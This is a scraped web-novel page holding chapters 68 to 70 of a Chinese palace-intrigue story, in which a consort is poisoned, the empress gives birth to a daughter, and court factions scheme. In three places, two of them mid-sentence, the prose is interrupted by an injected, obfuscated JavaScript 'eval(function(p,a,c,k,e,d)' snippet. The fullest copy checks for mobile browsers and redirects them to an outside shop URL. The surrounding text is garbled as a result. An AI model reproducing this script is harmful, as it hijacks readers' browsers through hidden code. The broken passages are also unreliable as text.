江映已懒得理会她这般直白带刺的话,只接着道:“方才三位御医都给你瞧过了,当中除去为我请脉的何守荣,还有一贯为皇后娘娘看诊的胡御医,还有今日轮值的御医。他们三位都说了你这不是一时的急症。左右疼痛与否皆在你,若是你不肯信我,只当我没说便罢。” 林绵皱了皱眉,只装糊涂道:“孙妹妹这是怎么了,哪里不适?” 孙姝妙掀了掀眼皮看向她,眼带轻蔑,口中道:“一点小病小痛的,可不敢劳贵妃娘娘大驾。昔日皇后娘娘执掌六宫时,不屑于宫中虚礼俗事,然而可是对每个人的状况都关怀备至。如今贵妃娘娘您这般样子......待皇后娘娘南巡归来,怎好与她交差呢?” 师冉月在宫中时倒也不见她敬服,此番师冉月南巡未归,她倒将她搬出来说事,属实教林绵有些哭笑不得了。 她弯起嘴角,道:“皇后娘娘南巡,懿旨令本宫、宸妃与惠妃三人共同协理六宫事务。我三人各司其职,倒不用你来指摘。惠妃倒是关心你这身子,可也不见你领情。”说罢,看了江映一眼,便径自转身出门。江映低头轻叹,却也不再说话,只快走些许追上林绵。 同林绵走到辰阳殿前,她才开口道:“孙氏向来如此,但彼时我欠她一个人情。何况此事她实属被人利用......若是来日皇后娘娘责怪,只管——” 林绵眉峰冷冽,只淡声道:“彼时的人情,倘若你真要还,倒该还到宸妃那里去。后宫之事,怎容得下心软。” 江映低头,面色略有难堪,道:“我只稍作提点,未曾言明。” “也罢,虽说在这宫里孙姝妙实在算是个蠢的,但倒也不是一点脑子都不剩。只看她造化罢。” “是。” “你也不必挂心今日之事了。这几日本宫要主持乐安长公主的丧仪,淑慎殿和凤宁阁的事你来把握便是。事在人为......或许你今日这般多此一举,倒是一件好事。” “霜降,去将宸妃送与我的那些药取来。” 孙姝妙盯着放在自己面前那几颗暗红色的药丸,拿起一粒放在指尖端详了一周,忽然发狠地将那药丸按在桌上碾碎。 药渣摊开成不规则的碎块,周遭的粉末碎了一桌,散发出苦涩又微微发酸的药味儿。 “将这个想法子送出宫去,交给我长嫂,教她查一查。此事只许经你我二人之手,莫要让宸妃的人晓得。” “奴婢明白。” 腊月里,师霖休沐,时隔近一年又回到逢州。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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师冉月愣了愣,一时想不起来旁人,还以为她竟挂念起陈明月与师恪来。因着陈明月身上戴着孝,哥儿年纪又小离不开亲娘,师霖与端木萌便干脆将他们母子留在京城庄子中。 师霖却晓得她话中所指,抬手轻抚上她的肩,温声道:“只还有一年半,便能将她接回家了。” 师冉月霎时反应过来,眼前莫名闪过一个模糊的影子,整颗心也跟着沉了下来,不再言语。 当年将师薇欢送走后,师霖与端木萌也曾担忧后悔。然而不久后端木昀骤亡,倒教端木萌禁不住一阵后怕,旋即胡思乱想起来,只恐真是自己所生的这个孩子命中带了些什么害了兄长的命,改了师家的运。彼时师婷欢却道:“若这些真与七妹妹有关,那七妹妹被送走,合该一切无恙了才是。可见大行皇帝驾崩又或其他的事根本与七妹妹没什么关系。” 端木萌却心有戚戚,半信半疑,想寻渡执再问时,却竟是一点消息也无。司天监原先作那箴言的监正等人亦再三缄默,只称天命已变,直叫她心烦意乱,甚至隐隐恨起渡执等人来。 但想着既已听从渡执所言将幼女托付出去,便教这十二年劫数顺利渡了也罢,因而之后几年虽居京城,师霖与端木萌也未曾一次到江浪观去探看,偶有路过时,亦紧闭车帘,不敢稍作眺望。生生忍了这些年下来,虽平日不提起,然则每逢佳节众人团聚,又或其他几个子女一齐聚在膝下时,心头总是空了一块,稍稍细想便痛得不敢呼吸。 “如今日子近了,我倒怕薇欢回来后会恨我们。” 师霖微凉的手指摩挲着她的手背,沉声劝道:“待她回来,我们与她好好解释,教她一直跟在我们身旁......这些年短的吃穿用度亦都补上,只要她想要的我们都满足。即便她心中有怨,日久天长,终会原谅我们的。” 师冉月亦道:“事已至此,尽力补偿便是。何况你是她的生身母亲,孩童天性,怎么会记恨自己的母亲呢。” 端木萌愁容不减,只叹道:“但愿罢。”旋即又摆了摆手,向师霖道:“罢了罢了,你不是有要紧事要与孩子们说?我已经教人备下饭菜,这会儿也快该用饭了,快净了手去罢。” “不急。既然景姐儿今年亦要回来,不妨待她回来一齐说罢。” “何事这么要紧,定要待孩子们都在再说?”师冉月半开玩笑半好奇道。 “私兵。” “私兵?”师冉月愣了愣,轻声重复道。 “是。诸子渐长,不日便都要陆续成亲,也该是时候了。从前我们都未曾明言此事,他们亦只是一知半解。此番借着这个机会正好悉数告知于他们。教几个哥儿各领些人马操练,姑娘们即便出嫁,也可借此行事。” 端木萌想了想,点头道:“这是正事。不过具体如何安排,如何行事,恐怕该定好规矩。” “能调度所有人马的令牌自然还要留在我手中。日后待我乞休还乡,再交由焕哥儿保管。私兵一事本就该谨慎,昔日我们凭此翻身,来日若有差池,也有可能因此万劫不复。若是大哥他们都还在,我倒不想这么早就将此事过渡到他们手中。” 师冉月垂眸想了想,最终只道:“这也是好事。只要行事有度,这倒是父亲昔日所说的‘家族维系之法’。” 师霖微愣,随即笑叹:“你少时真是喜欢听人墙角。”师道旷这话原是彼时他将私兵一事告知四子时所说,那时师吟月和师冉月本不在场。 对此师冉月倒很得意地挑了挑眉,道:“这又如何?我们都是师家子女,此事又不是只有男子可以做的,父亲彼时就是失于偏颇。” 师霖无奈,笑道:“好好好,你说得都对,快去用饭吧小祖宗。” “什么叫我‘说得都对’,我说的本身就对!” 68.第 68 章 “姑娘,宫里来的消息。” 自林绵写信告知她乐安长公主的死讯后,师冉月已是许久不闻宫中事,这会儿见音儿一脸严肃地将竹筒中的信纸取出来,竟有些许恍惚。 她接过信看了两遍,便将信纸放在烛火上烧了,余下的灰烬随手丢在地上笼的火盆中。 音儿见她没什么表情,倒有些紧张,试探问道:“可是发生了什么?” “宸妃薨了。” 音儿登时圆睁着一双眼,张了张口却说不出来话,半晌才结巴道:“死的不该是,不该是孙充容么?” “惠妃将那药的秘辛透露给了孙氏,想来孙氏是查出了些什么,反过来用那药毒死了宸妃。” “那药短期服用不过会伤人气血,至少要连续服用三年以上才会要人性命,怎会这么快就将宸妃置于死地?” 师冉月摇了摇头。 林绵的信很短,并没有详细讲述孙姝妙到底是用了什么方法教徐聆雨暴毙身亡,却讲了端木玄如何压下徐聆雨的死亡真相,如何顺手处置了徐策与梁婳。因着对外徐聆雨是得了急病骤亡而死,孙姝妙也只是被降回才人位,亦只说是行事不端冲撞贵妃。 倒是赵玉熹近来颇得圣眷,几乎是六宫独宠,在徐聆雨的丧仪过后便升了妃位,封号为“云”。 “过眼云烟,云烟么......”师冉月喃喃道。 音儿尚且沉浸在对徐聆雨暴毙身亡一事的震惊中,未曾听清师冉月说的话,情不自禁问了一句“什么?” 师冉月轻叹道:“没什么。” 她想起第一次见徐聆雨——也是在逢州,水滴般的圆眼睛,水蓝色的裙子,冬日里幽蓝的芥湖上飘着的一朵浮萍,积雪的树上一只伶仃的翠鸟,北风吹过,便无影无踪了。 她想象不到——那个人死了。 她又恍惚起来。 音儿似乎已经平复了心情,只哀叹道:“不晓得令成公主这会儿该怎么办,她也才十岁呢......” “什么?”师冉月没有反应过来——她眼前正立着一个徐聆雨,还是小姑娘的模样......姐姐去世了,她假模假样地凑过来安慰她,实则是想打听端木玄的事,她都晓得。 “当这世上只有她一个明白人吗?”她眼神落在一片虚无,嘴角却是嘲讽的弧度,嘟囔着。 后来,后来就是王府中了。她与自己先后有了身孕,她生下了一个女儿,哦,是了,女儿,令成。 “姑娘——姑娘!” “哦......我无碍。”师冉月骤然清醒过来,坐在椅子上缓了缓神,扶着腰起身,在屋中来回走了几圈,才颤声吩咐道:“给我备好纸笔,我要给绵姐姐写信......算了,还是给玦儿和汐儿写罢。” 音儿却未应声准备,只僵在原地,指着师冉月的裙摆喊了声“姑,姑娘——”旋即又突然反应过来,一面扶着师冉月先到床榻坐下,一面向外喊着:“来人啊!快请稳婆和御医来!” 师冉月尚有些发愣地望着自己原本月白色的裙摆上的那一片血痕,好似知觉也才随之苏醒过来,后知后觉自己腿间的潮湿和异样。 她吸了吸气,扶住音儿的手,道:“不要慌,这已经是我第三个孩子了,不会出事的。” 音儿不敢放开她,只能一边搀扶着她一边焦急地等着稳婆和御医,不停地命听见喊声后进屋的小丫鬟们去催,又命人端来热水和参汤。好在稳婆都已提前选好,御医又是随时候命的,不过片刻便已到齐,满屋的人也显得有条不紊了些。 “里面怎么样了?” 端木萌与端木婉隔着屏风候在外面,只听得师冉月时而低沉时而高亢的叫喊。一盆一盆血水往外端着,二人虽都是生产过好几次的妇人,却也免不了心惊肉跳。 “回殿下的话,里面夫人这一胎有些胎位不正,又算是高龄产子,恐怕还得废上一番功夫。” 端木萌双手放在胸前顺了顺气,与端木婉四目相对,却又说不出来什么话。二人双双坐下,亦只各自沉默,一时室内只有胶着的血腥气萦绕在鼻息间,令人几要窒息。 “母亲、伯母。” “母亲、三婶母!” “婷欢,莞安,你们怎么来了?” “我听见您匆忙出了屋子,便想着跟过来看看。姑姑现在怎么样了?” 莞安今日本就留在婷欢屋中找一些二十年前逢州流行的花样子描,翻箱倒柜好久,累得懒得动弹,便打算留在婷欢那儿一道歇息。姐妹二人方才洗漱完毕准备睡下,便听见端木萌带着三五个人匆匆忙忙出了院子。 师婷欢下榻重新掌灯,到门边往外瞧了瞧,只来得及看见母亲似乎是向着后面姑姑的院子方向去了。师霖前两日便去了沉州,此时尚未归家。二人心中不宁,便想着不如亲自前去看看情况。 端木萌闻言后轻叹一声,只道:“罢了,看也看过了,你们且回去歇息罢。” 师婷欢顿了顿,道:“可否允我们留下?如今已过三更,过会儿若是您和伯母乏了,总要有人在此处守着。” “我们支撑得住。你们两个尚未出阁,小孩子家家的,于生产一事没有经验,在此处守着又能做些什么呢?” “可是姑姑与我们讲过,当年母亲您生我时,姑姑也尚未出阁,却也与祖母和伯母们一同在外等候。何况凡事若不开始,又怎会有经验呢?” 端木萌讶然:“你姑姑还与你们说这些?” 端木婉笑了笑,道:“罢了罢了,你们愿意在此处就留下罢。只是一会儿莫要难受便是。” 师婷欢和师莞安一开始还不明白端木婉所说的“难受”指的是什么,直到坐下来待了一会儿,闷热的混着血腥气和汗味儿的气息逐渐充斥在四周,痛苦而压抑的声音回荡在耳边,仿佛地府中索命的恶鬼在这深夜重返人间,唤醒积久的罪业。 “说起来当初容琯似乎原是为了陪我才与我们一同等在外面的。”端木婉的声音像寒冬的芥湖上的一纹水波,从这昏沉的沉默中唤回了众人的一点神志。 “当初我怀着景安,月份也很大了。她怕我体力不支,一定要在旁边陪我,又几次三番劝我回去歇息。我为了彼时自己生产心中有数,说什么都要一直等下去,直至婷姐儿降生。” 端木萌宽慰似的笑叹了一声,道:“那都是十几年前的事了。” 端木婉点了点头,又轻轻摇了摇头,继续讲道:“那时我问容琯,为何女子生来似乎就这般‘天经地义’地要经受生育之苦,哪怕大多数人嫁的也并不是所爱之人,却要为他,为他的家族,生儿育女,繁衍子孙。”她抬头望向端木萌的双眼,道:“这个问题其实我到今日也没有答案。” 端木萌愣怔地看向她的眼睛,那双眼睛里没有愁绪,没有哀叹,只是冷静的探究,还有自始至终的一点凉薄。似乎这个问题的答案于她其实也无关紧要。 她想起十几年前端木婉刚过门时的样子——也是这样一双眼睛,像北方草原上黑夜里动物的眼睛,与她柔婉的容貌并不大相衬。她机警又内敛地面对着新的环境,似乎很快就化作一汪春水融入到这一个复杂的家族之中,却只有私下面对她时才偶尔露出疲倦和脆弱:“云姝,其实我有些想家。” ——“云姝?” “啊。”端木萌回神,却看见端木婉如常似的带着浅浅的笑意望着她,“怎么愣了这么久的神?” “还不是在想你的问题。你难道不想要个答案么?” “答案不答案的,如今也没什么意义了,不是么?”端木婉看了眼听得愣神的莞安,笑了笑,“子恕故去的年岁,已经比我们做夫妻的年岁多得多了。” 次日巳时一刻,师冉月诞下一女。 “瞻彼淇奥,绿竹猗猗”,师冉月道,“我一觉醒来,一眼便望见窗外绿竹,纵然冬日尤其青葱。这孩子不如就取名为‘淇’罢。” 她轻握上端木萌的手腕,道:“我如今不便,还得麻烦你替我告知陛下了。” “这有何麻烦的。”端木萌看着被端木婉抱在怀中的幼猫一样的婴孩,止不住地怜爱,没一会儿就抢到自己怀里抱着,又叹道:“这孩子是嫡出的公主,端木氏和师氏的血脉,何等的尊贵和荣耀。” 师冉月愣了愣,旋即笑了笑:“虽然不知道我能赋予她的这等身世到底是福是祸......不过她既然来了,总该自己体会体会。” 端木萌道:“你这话倒是莫名其妙。难道你还能不要她不成?” “我随口瞎说罢了。”师冉月详装头疼地“诶呦”一声,卖惨道:“我如今身子虚弱,脑子里也是乱七八糟的。” 端木婉笑叹着抚了抚她的肩:“你这个年纪生子本就不易,所幸如今一切安定,且好好歇息就是了。这孩子生在咱们家中,有我们看待着,你只放心修养就是。” 这实在是她此次在师家生产的最大好处了。师冉月心中忍不住附和,向端木婉笑道:“多谢嫂嫂了。” “罢了罢了,想来你也倦了,快再睡一会儿罢。我且要去向陛下禀明,然后还要再告诉你三哥。听说他昨日得了京城的信,也不知说了些什么,如今恐怕不能留在逢州过年,直要回京城去呢。” 闻言,师冉月和端木婉皆是皱眉,心下各自思索起来。 端木萌倒似是没注意到她二人情绪的变化,只匆忙走了。端木婉也随即起身,将孩子妥帖放到奶娘怀中,便道:“你如今最忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“‘瞻彼淇奥,绿竹猗猗’。” “端木淇......”端木玄沉吟了几遍这个名字,停顿了一会儿,略微扬声道:“着礼部拟诏,七公主赐名‘淇’,赐封江都。” 殿外侍奉的人立刻应了声。 师霖讶然,道:“江都公主?” 国朝公主出生后一般皆以吉利字样依排行拟定封号,待及笄、出降或君父升遐,才以封地名改封,如有未及笄且君父尚在而以封地名册封的,皆被视为特别恩典。 端木玄道:“借此机会,便着请礼部将其余几位公主的封地也一并拟定了罢。” 他伸手拿过桌案上被扔掷在靠上位置的几封奏疏,瞥了一眼后,便抬了抬手腕,将其一并扔到了一旁的废纸堆中。又指了指余下几封奏疏示意师霖上前自己来看,淡声道:“除却弹劾皇后的,剩下这些,有弹劾你的,有弹劾官成澈的,还有弹劾你们几家的旁支子侄甚至家仆依仗你们的声势于乡间欺占他人田产家业的,还有一个强抢民女、逼良为妾的。” 师霖上前一步,视线掠过半摊开的几篇弹劾,随即躬身退后,道:“臣会回去核实,倘若是真,臣愿引咎辞官。” 端木玄皱眉,冷声道:“太傅这是在逼朕么。” 师霖埋首更深,但道:“臣不敢。只待陛下圣裁。”旋即又直起腰身,道:“臣方才大略看去,这些弹劾不止有台谏的,还有翰林院和太学不少学士的。学士们自当思维敏捷文采斐然,然则所奏言辞却都似是一个模子刻出来的。恕臣妄言,此等人不能于军国大事出谋献策,而只关心同僚的家长里短,岂非越职、渎职?” 说罢,他自袖中取出一份写好的奏疏,双手递至端木玄面前,也不等他接过,便下移放在那一堆奏疏之上,道:“自半个月前淮南大雪,连带着直至卿州以北诸地冻灾严重,按如今形势来看,冬粮恐要歉收。最迟到明年立春,各地的流民恐怕又要翻一番。” 端木玄闻言稍稍正了神色,拿起那份奏疏看了一遍,沉声唤人进殿,道:“将这份奏疏给户部处理......教落桓随毕衡走一趟楚州和知郡。”他抬头看向师霖:“逢州、沉州和池州一带赈灾,不妨就由太傅亲自督监罢?” “臣领命。” 殿内的气息又慢慢沉寂下去。端木玄不大熏香,因此师霖便也只闻到些朽木的味道,又很快被殿外渗进来的冷风的味道冲淡。 “皇后打算何时回京?” “皇后娘娘此次生产艰难,凤体有伤,御医的意思是恐怕要多修养些时日,不宜走动。” 端木玄又皱起眉,沉吟片刻,道:“那便到她的生辰罢。待她在逢州过完生辰,便启程回京。此事你来办便是。” 师霖一愣,旋即反应过来,行礼道:“臣遵旨。” 69.第 69 章 “这好酒我本是要留待新年,与你把酒共话的。不过如今作送行酒,倒也不算浪费了它。” 腊月二十七日,京城的大街小巷已是张灯结彩。薄雪映衬下的红灯更显鲜艳,连城角那几个旧粥棚都有了两分人气儿。 白束道亲自驱车,两匹瘦马架着青帷小车一路穿过大街小巷,直至过了苍云江,方才歇住脚。 “这酒可不多得啊,你当真舍得?”落桓打开酒坛闻了闻,笑道。 白束道挥手一哂,道:“左右都是与你共饮,此番以这汤汤江水佐酒,岂不更值么?” 落桓拊掌大笑,接过白束道斟好的酒一饮而尽,慨叹道:“果真是好酒!直教人把这些日子的污糟事全都忘干净了。” 白束道亦随之饮尽,却是愁思涌上心间,道:“此番陛下教你随毕充之同去,我始终不明白这其中的道理。那毕充之是户部侍郎,去赈灾本是应该,可教你去,又是何意呢?” 落桓却似看热闹般毫无波澜,甚至笑道:“总不是为了提拔我便是——倘若真是要借此提拔我,那也是为了制衡师氏罢了。” 白束道叹道:“我等本以为陛下与皇后无非当年因利益而联姻,谁承想这一年来无论那皇后做了什么出格的事,陛下皆一并维护,一应弹劾全都置之不理。这回宸妃仙逝,徐氏一族也遭清除,听说贵妃、惠妃与皇后皆是一党,看来若想扳倒师氏,自后宫下手恐怕是不行了。” 提及此事,落桓倒也不免慨叹:“宸妃膝下只有一女。这样一来,诸皇子皆可谓出自师氏一党。” “陛下如今亦不再提起选秀一事......惠妃父兄常年居河阳,倘若我们将其调至京城,可否加以利用?” “当年入宫为妃的这些女子无一出自京官人家,这么些年也不见陛下将谁的父兄调入京城,可见陛下谋划。此举想来行不通。” “这也不行那也不行,难道就任凭师氏一党一家独大?那我们岂非只能在这朝中无所作为,哪里还有出头之日!” “且看罢。你我尚且年轻,古往今来,未见这种事能在一朝一夕间成功的。” 师莞安由成喜和翠羽两个侍奉着试穿好了嫁衣,又仔细戴好花冠,从颈到脚皆是僵直着,小心翼翼自屏风后走出来到母亲面前。 端木婉瞧见她这副模样忍不住笑了,起身为她又理了理衣襟,扶正头冠,又拍了拍她的背,轻轻叹了一声,道:“很好看。这般一看,你与你姐姐的眉眼倒是真像。这般紧张做什么,新娘子落落大方才是真。” 师莞安轻轻抬头,见到母亲眼中点点烟波,忍不住鼻酸,道:“娘,我突然不想出嫁了。”她将额头抵在母亲肩上,花冠也顺着力道向后滑了些许。 端木婉微凉干燥的手掌顺着她的后颈抚摸至她裹着红色嫁衣的单薄的脊背,轻轻拍着,叹道:“傻姑娘,不出嫁,可就要到庙里做姑子了。” “我也可以留在家中——大哥说过,我们姊妹不想出嫁的话他就供养我们一辈子。” “这话恐怕昔日你的伯父叔父们也对你那两个姑母说过。” “哎呀,娘——女儿留在家多陪你些日子不好么?二姐姐早早就嫁出去了,还嫁的这么远,去年过年是她出嫁后我第一次见到她,她只长我一岁,年纪还那么轻就做了母亲,如今生下孩子都没能回来一次......” 端木婉又叹了口气,双手扶住师莞安的肩,将她与自己分开,叫她能直视自己的眼睛:“我自承祐十年秋天离开息州王府嫁到京城,到如今二十一年,都未曾再能回一次王府。莞安,明日你出降后,将来会遇见什么事都未可知。彼时师家固然可以成为你的靠山,然而你却不能处处仰赖母家。你要独立,要坚韧,即便女子只能身在院墙内,也要活出你自己的名堂来,不要被过去困住,亦不要安于享乐,安于夫君庇佑。” 师莞安只觉得脑中隐痛,愣了好一会儿,才似懂非懂地点头,却又自心底浮起一层胆怯,几如夜里的浪潮般要将她淹没。 端木婉看着她的样子,在心底叹了口气,道:“我这番话你如今记住便是。早晚有一日你会懂得的。”她自很久前就在纠结这样的话到底是否要与自己的孩子讲,又该何时去讲。景安是个心思敏感的,几乎不用她多说什么,只需旁敲侧击般稍加提点,她便也晓得了这番道理。可莞安即便聪颖,可于这些事上总有种莫名的天真。 她希望她能一直从这种天真中得到快乐,无忧无虑,却更担忧比起来日她当真遭逢不幸却束手无策没有任何防备,倒不如由她亲自告诉她立命之道。 “好了,晓得了便罢了,也不要被这些缠住了。你三婶婶特意寻了鹿肉来,想来现在汤都该煨好了。快去更衣罢。”说着,又拍了拍莞安的肩,便示意成喜和翠羽扶她去将婚服换下来。 “夫人,三公子来了。” 端木婉迅速用帕子拭了拭眼角,道:“叫他进来罢。” 师玘进门便瞥见母亲眼周红痕,心下了然,只温声道:“娘,大姐姐说家宴已经开好,叫我唤您和三姐姐过去。” 寻常时候自然不该师玘亲自到后院来叫,只是端木萌担心她们母女若要谈心,恐在旁人面前失态,特意叫婷欢早早将师玘从书房中捉了出来。 “唉,下个月回京后就要忙你的婚事了。”端木萌看着师婷欢也是一阵惆怅。因着种种,师婷欢得以在她身边留到快二十岁才出嫁,却更引得她不舍。 “不过比起景安嫁到蒲城,莞安留在逢州,你好在是嫁在京城,日后离我也不算远。”端木萌叹道,“早知如此,当初就该为你们都招赘才是。” 师婷欢走到端木萌身旁,挽住她的手亲昵道:“母亲又说笑了。即便女儿出嫁,新宅与侯府不过隔了三个坊巷,走路都用不上一炷香的功夫。母亲若是想女儿了,便教行湘姑姑去叫女儿回来就是了。” 行湘正在一旁看着布菜,闻言笑道:“大姑娘放心,夫人若是想你了,便是三更半夜我也一定去把你叫起来回侯府。” “我也要去我也要去!”棠欢边蹦边道。 婷欢一把将棠欢抱在膝上,轻轻掐了掐她的脸颊,道:“你不许去,你要好好睡觉,瞧你五姐姐都高你半头了。” “五姐姐本来就是姐姐啊,比我高也是正常的啊。” “她就比你大了两个月呀。” “两个月也是两个月啊。” 端木萌听不下去,摇摇头走开。 “而且四姐姐也高呀,四姐姐比三姐姐还高一点点呢!”棠欢仍旧很大声。 婷欢无奈地闭了闭眼,将棠欢重新放回地上,道:“你还是去玩那两只大雁罢,明日它们可就要跟着你三姐姐回景府去了。” 辰阳殿。 林绵半躺在榻上,背后靠着软垫,却仍旧需要双臂支撑着才能勉强坐住。师冉月坐在榻旁,一面扶着她,一面看着御医往她的腿上施针。 良久,御医终于将最后一根针从林绵腿上撤去收好,向两人拱手道:“贵妃娘娘这病恐怕是骨上生瘤,只能施针静养。”顿了顿,复又忐忑道:“这种病......如今尚未有痊愈之法,老臣亦只能尽力缓解娘娘的疼痛。” 林绵按下师冉月,只叹道:“罢了,你只做你该做的就是,不必顾虑其他。”待御医走后,才向师冉月笑道:“许是我这些日子作恶太多,上天惩罚我罢了。” “可你——你是在替我与陛下......” “莫要这般说。”林绵摇头道:“我还未与御医讲,这两日不只是腿疼,连我背上的骨头亦有些痛感,夜里总是煎熬着睡不好,白日里又只能在这儿坐着、躺着,实在是不如死了好。” “别胡说!”师冉月皱眉道。 林绵却岔开话题,道:“今日是平承郡主的次女与景家的大公子成亲的日子罢?” “是今日。”师冉月猜到她要说的话,只道:“城儿的婚事,我与陛下已在商议。陛下属意颍川守备萧旷的侄女萧妙安,只是如今还未全然定下,尚可回旋。你意下如何?” “萧旷的侄女......是他那同母兄弟萧晖的女儿么?” “正是。那姑娘我已见过,人才、样貌都是顶好的,性子又飒爽,有将门之女的风范。” 林绵笑叹:“陛下这是想补偿萧家......也罢,乐安长公主是经我之手死的,这倒也对。你既瞧着不错,那便请陛下就这般定下罢。” 师冉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265701|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月突然一阵鼻酸,低下头去轻咳了两声做掩饰,才抬头道:“你只好好养病......城儿的婚事有我看着,你大可放心。”说罢,便匆匆走了。 回到坤宁殿,师冉月心中始终不定,索性直往清和殿去,与端木玄说了端木城的婚事,道:“左右陛下已有人选,不如尽早定下,将婚事办了,就当给绵姐姐冲喜。城儿与那萧家女今年俱是十七岁,也正是合适的年纪。” 端木玄点头应下,着礼部拟诏操办,又派人,命钦天监挑选最近的吉日。都吩咐下去,才向师冉月笑叹:“你从前可是不信这些。” “民间的说法,总要有一定的道理,才能流传这么些年罢。” 一连几日,师冉月都推辞了旁的事情,只到辰阳殿去陪着林绵,直到林绵忍不住,直对她叹道:“你若再过来,我便要嫌你烦了。”这才罢了,却也无力做别的事情,只回坤宁殿自去歇息。 迷蒙中不知睡了多久,只听见窗外似有喧哗争吵声,却又听不真切,也不大分辨的清那些声响到底是现实还是梦里。她欲要睁眼醒来去探个究竟,却又似乎被梦魇住了,挣扎好久,直到音儿过来扶着她的肩轻唤了她好久,这才终于挣脱,醒了过来。 她坐起身,才发觉自己一身是汗,发丝也都糊在脸上。 音儿问道:“娘娘方才是梦魇住了?” “兴许是罢。外面是什么人在吵?”她这些日子不理事,是积压了些东西未来得及处理,可正常也不该有人胆敢到坤宁殿这般吵闹。 音儿面露难色:“是令成公主和孙才人。” “令成和孙才人?”孙姝妙自徐聆雨死后便被降回才人位,禁足在自己宫中。宫中的事总是日新月异,不过半年她便似乎被彻底遗忘在过去,不再有人提起。 师冉月回宫后亦未曾再单独去看过她的境况,如今蓦然提起,脑中浮现出来她的样貌,倒像是上辈子认识的人了。 “是她们。”音儿应道,“令成公主带人将孙才人从凤宁阁中绑了出来,只说是她害死了宸妃,硬要您重新处置她。” 师冉月苦笑:“我倒忘了此事。我还以为令成该是晓得此事的来龙去脉的......如今倒教我如何是好呢?”她叹了口气,起身更衣,才命人将端木含请进殿内。 “母后,我都听说了,就是孙才人在我母妃当初喝的药中动了手脚,才使她中毒身亡。还请母后为我母妃主持公道,叫孙氏血债血偿!” 孙姝妙被粗绳胡乱捆着,跪伏在地,满身狼狈,全然看不出一点昔日那般光鲜模样,这会儿却攒起力气向端木含“呸”了一声,骂道:“明明就是你那好母妃害我在先!妄想借腹取子......那等腌臜东西,我才懒得碰——是她自己作死!” “住口!”音儿呵斥道,“皇后娘娘面前,休要胡言!” “哼,皇后......”孙姝妙昂起脖子斜眼看向师冉月,在口中咕哝了一声,又突然恶狠狠地向师冉月方向扑来,又被自己绊倒在地,只拼尽力气支起半个身子,又大声骂道:“什么狗屁皇后,狗屁宸妃......都是衣冠禽兽!一个个伪善如此,岂不怕来日遭报应!” 师冉月神色平淡,一双眼像冷铁,没有一点温度,只待孙姝妙似乎力竭了,才道:“孙氏,殿前失仪,依律当斩。不过本宫不喜杀生,不如,就将她的舌头割了去罢,日后也当严加看管,莫要叫她这幅样子出来吓着旁人。” 孙姝妙闻言也不挣扎,却是仰天大笑,末了看向师冉月,眼神怨毒却又似有泪盈满,直被人拉了下去。 端木含自小在宫中长大,何曾见过这等场面,早在孙姝妙开口时便被吓傻了,只呆在一旁。师冉月软语向她道:“含儿,母后晓得你难过,只是你母妃的死是御医看过、由你父皇亲口说的‘病逝’,你不相信别人,难道还不相信你父皇么?” “母后,我怕......” 师冉月叹了口气,将端木含拥入怀中,道:“别怕,有母后在,便不会教旁人欺负了你去。” 她亲自喂端木含喝了一碗安神茶,又命人将她护送回宫,这才罢了。 “查一查是谁在背后嚼舌根子,都一并绞杀。” “是。” 70.第 70 章 乐康七年四月,诏改封平江郡王为颍王,就藩颍川,以颍川萧氏女妙安为颍王妃。 五月,上言长女令成公主柔嘉敏达,长实温良,兹命尔为庆元公主,择甘郡兰兴侯世子常汉广尚之,着钦天监择吉日成婚。并以甘郡毗邻颍川,令其随长兄赴颍川,居颍王府待嫁。 同日,追谥公主生母徐氏为章纯贵妃。 五月末,贵妃林氏病逝,追谥章肃。 师冉月打开库房的锁,双手推开门,一架架旧书陈列在光影里。陈旧的纸张的气息仿佛腐朽的空心的老树,沉默地驻守在被世人遗忘的深山。 师冉月让开门口的位置,侧身立在一旁,道:“都搬进来吧。” 因着有人定期通风打扫,库房中并没有霉味儿,却仍然像一块沾水的厚棉布,捂得人有些喘不过气来。 几个宫人沉默地将几口箱子搬进来,依次在地上放好,便又鱼贯退了出去。师冉月这才慢慢蹲下,打开其中一口箱子,取出里面的字画,一一看过后,再收到一旁的空架子上。 林绵的遗物没有很多,她也不大喜欢藏书,倒是这些字画,无论作者是否有名,只要合她心意的,便都被她收归名下了。 “这些东西也值不得几个钱,若搬到颍川,山高路远,保存不当,倒坏了我的心意了,只也交给你来收着的好。哪怕有一日你不高兴了,一把火烧了也无妨。” 师冉月攥着字画,仿佛将林绵手掌的一缕余温也留在手中。 将它们全部规整收好时,月亮都已西垂。师冉月熄灭烛火,轻轻迈出库房的门,看向那些隐在黑暗中的书卷和字画,慢慢合上门,落锁。 她的心仿佛也留在了那里。那棵空心的木头。 连着两个月往宫中和行宫反复折腾,端木婉和端木萌都是疲惫不堪。然而比起疲惫,端木萌如今来得更多的却是忧心忡忡。 眼看着棠欢和薇欢的十二岁生辰迫在眉睫,府上却一点薇欢的消息也没有,那渡执更是寻也不见。师霖不忍她心焦,曾提议不如直接由他们亲自去那道观将幺女接回,端木萌却又担心那箴言:“十二年都忍了,若是因为这一朝不慎......罢了,还是再等等罢。” 棠欢和薇欢的生辰宴仍在照常筹办,因着往年也是按着两个人都在家的样子,今年亦不做什么特例,只等薇欢回来再另行庆贺。 